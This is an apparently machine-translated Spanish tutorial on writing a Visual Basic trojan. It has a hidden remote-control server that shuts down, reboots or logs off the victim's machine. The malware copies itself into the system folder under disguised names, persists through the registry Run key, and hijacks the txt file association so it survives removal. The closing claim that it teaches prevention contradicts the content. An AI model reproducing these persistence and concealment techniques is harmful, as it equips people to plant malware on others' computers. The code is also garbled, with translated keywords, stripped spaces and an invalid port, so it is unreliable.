Primero, cree un nuevo proyecto llamado Servidor, cree un nuevo formulario con Nombre como Servidor, agregue un control winsock al formulario, establezca Nombre en sckServer y configure el protocolo en el protocolo TCP/ip predeterminado.
A continuación, volvemos al módulo de formulario del Servidor y agregamos el siguiente código:
->PRivateSubform_Load()
Conmigo
.sckServer.LocalPort=88917'Puerto local (¡jaja! ¡Mi cumpleaños!)
.sckServer.Listen'Comenzar a escuchar
terminar con
FinSub
'Aceptar la solicitud de conexión del cliente.
PrivateSubsckServer_ConnectionRequest(PorValrequestIDAsLong)
Conmigo
Si.sckServer.State<>sckClosedThen.sckServer.Close
.sckServer.Accept(ID de solicitud)
terminar con
FinSub->
A continuación, creemos un programa cliente: cree un nuevo proyecto llamado Cliente, nombre el formulario Cliente, agregue un control winsock, llamado sckClient, y el protocolo es TCP/IP. Agregue otro botón cmdConnect y agregue código al módulo de formulario:
->PrivadoSubformulario_Carga()
Conmigo
.sckClient.RemoteHost=127.0.0.1'Configure la IP remota En este ejemplo, configúrela en la máquina local.
.sckClient.RemotePort=88917'El puerto remoto es el mismo que la configuración en el servidor.
terminar con
FinSub
PrivadosubcmdConnect_Click()
SckClient.Conectar
Finsub->
En este punto, cuando hacemos clic en el botón Conectar, nuestros dos proyectos pueden comunicarse, pero no son visibles. Puede agregar código al evento sckClient_Connect en el Cliente: debug.printConnetionsuccessful.
Este es solo el primer paso y no se ha realizado ningún trabajo. Vamos a agregarles funcionalidad. En aras de la simplicidad, este artículo solo implementa algunas funciones pequeñas: apagar, reiniciar y cerrar sesión. Bien, ¡comencemos!
Cree un nuevo módulo en el proyecto del servidor con el nombre modApi. Este módulo contiene algunas funciones API. Agregue las siguientes funciones API:
->PublicDeclareFunctionExitWindowXXXLibuser32AliasExitWindowXXX(ByValuFlagsAsLong,ByValdwReservedAsLong)AsLong
PublicConstEWX_LOGOFF=0
PublicConstEWX_REBOOT=2
PublicConstEWX_SHUTDOWN=1
PublicDeclareFunctionClipCursorLibuser32AliasClipCursor(lpRectAsAny)AsLong
Tipo públicoRECT
IzquierdaMientrasLargo
TopAsLong
DerechaMientrasLargo
AbajoComoLargo
Tipo final->
Nota: En la programación entre dos sockets, el evento importante para la comunicación es el evento DataArrival, que se utiliza para recibir datos remotos.
A continuación, coloque tres botones en el formulario Cliente del proyecto Cliente, a saber, cmdExit, cmdLogoff y cmdReboot. Se utilizan para operaciones de apagado, cierre de sesión y reinicio remotos. Agregue los siguientes códigos respectivamente:
->PrivadoSubcmdSalir_Click()
Me.sckClient.SendDataSalir
FinSub
PrivadoSubcmdLogoff_Click()
Me.sckClient.SendDataLogoff
FinSub
PrivadoSubcmdReboot_Click()
Me.sckClient.SendDataReboot
FinSub->
Todas las solicitudes se realizan al servidor. Ahora vaya al proyecto del Servidor: agregue el evento DataArrial de sckServer en el Servidor para recibir la solicitud del cliente.
->PrivateSubsckServer_DataArrival(ByValbytesTotalAsLong)
DimstrDataAsString
Conmigo
'Recibir la información solicitada por el cliente
.sckServer.GetDatastrData
SeleccionarCasestrData
CasoSalir
'Cerrar
LlamarVentanaSalidaXXX(EWX_SHUTDOWN,0)
Reiniciar caso
'Reanudar
LlamarVentanaSalidaXXX(EWX_REBOOT,0)
Cerrar sesión en el caso
'Cerrar sesión
LlamarVentanaSalirXXX(EWX_LOGOFF,0)
Selección final
terminar con
FinSub->
Bien, ahora hemos implementado la función, pero todavía no, queremos que se ejecute detrás de escena. Esto es simple, agregue una oración: me.hide al evento form_Load en el Servidor. Afortunadamente, ahora es invisible, pero todo el mundo sabe que el troyano se ejecuta automáticamente tan pronto como se enciende la computadora. ¿Por qué sucede esto y cómo se logra? ¿Agregarlo al grupo de inicio en el registro? ¡Sí, bien, ven conmigo!
Vuelva a modApi en el proyecto del servidor y agregue la siguiente función API:
->PublicDeclareFunctionRegOpenKeyLibadvapi32.dllAliasRegOpenKeyA(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLong
PublicDeclareFunctionRegSetvalueExLibadvapi32.dllAliasRegSetvalueExA(ByValhKeyAsLong,ByVallpvalueNameAsString,ByValReservedAsLong,ByValdwTypeAsLong,lpDataAsAny,ByValcbDataAsLong)AsLong
PublicDeclareFunctionRegCreateKeyLibadvapi32.dllAliasRegCreateKeyA(ByValhKeyAsLong,ByVallpSubKeyAsString,phkResultAsLong)AsLong
PublicConstREG_BINARY=3
PublicConstREG_SZ=1
PublicConstHKEY_LOCAL_MACHINE=&H80000002
PublicConstHKEY_CLASSES_ROOT=&H80000000->
Un proceso que escribe en el grupo de inicio del registro.
->GrupoSubInicioPúblico()
DimsKeyAsString
DimresultAsLong
DimhKeyIDAsLong
DimsKeyValAsString
sKey=Systrsy'Inicie la clave en el grupo y busque una que sea similar al archivo del sistema.
sKeyVal=C:/windows/system/systrsy.exe'La ruta del archivo troyano. Puede utilizar GetSystemDirectory para obtener la ruta del sistema.
resultado=RegOpenKey(HKEY_LOCAL_MACHINE,_
Software/Microsoft/Windows/Versión actual/Ejecutar, hKeyID)
Siresultado=0Entonces
resultado=RegSetvalueEx(hKeyID,sKey,0&,REG_SZ,sKeyVal,Len(sKey) 1)
Fin si
FinSub->
Bueno, eso es todo. Sin embargo, ¿alguna vez lo ha pensado? Si no es un novato y lo elimina del registro, ¿no sería en vano nuestro arduo trabajo? No, tienes que hacer que sea imposible borrarlo incluso si lo encuentra. Por favor mire el código a continuación:
->PublicSubWriteToTxt()
DimresultAsLong
DimhKeyIDAsLong
DimskeyAsString
DimskeyValAsString
skey=archivotxt/shell/open/comando
skeyVal=C:/windows/system/txtView.exe
resultado=RegOpenKey(HKEY_CLASSES_ROOT,skeyVal,hKeyID)
Siresultado=0Entonces
resultado=RegSetvalueEx(hKeyID,skey,0&,REG_SZ,skeyVal,Len(skeyVal) 1)
Fin si
FinSub->
Muchos amigos deben haber sabido de un vistazo que originalmente estaba asociado con el archivo txt, lo cual no está nada mal, pero ¿de dónde viene C:/windows/system/txtView.exe? Nuestro troyano es C:/windows/system. /systrsy.exe. Este es el clon de nuestro caballo de Troya.
Bien, regrese al form_Load del formulario del servidor del proyecto del servidor y agregue el siguiente código:
->DimsCurrentPathAsString,sSystemDirAsString
sCurrentPath=App.Path&/&App.EXEName&.exe
sSystemDir=C:/ventanas/sistema
OnErrorResumeNext
'Copie el archivo a Systrsy.exe en el directorio del sistema
FileCopysCurrentPath,sSystemDir&/Systrsy.exe
OnErrorResumeNext
Copie el archivo a txtView.exe en el directorio del sistema
FileCopysCurrentPath,sSystemDir&/txtView.exe->
llamar
->Llamar a grupo de inicio
LlamarEscribirATxt
'Determinar si el programa se está ejecutando
IfApp.PrevInstanceEntonces
'Salir si ya se está ejecutando.
Fin
FinSi->
Aviso:
1. Cuando se trata de puertos, es mejor utilizar puertos de alta gama; de lo contrario, entrarán en conflicto con algunos puertos de uso común.
2. Es mejor leer libros relevantes cuando utilice VB.NET por primera vez.
->
Lo anterior es cómo usar Visual Basic para prevenir ataques troyanos. Espero que todos se conozcan a sí mismos y al enemigo y tomen precauciones antes de que sucedan.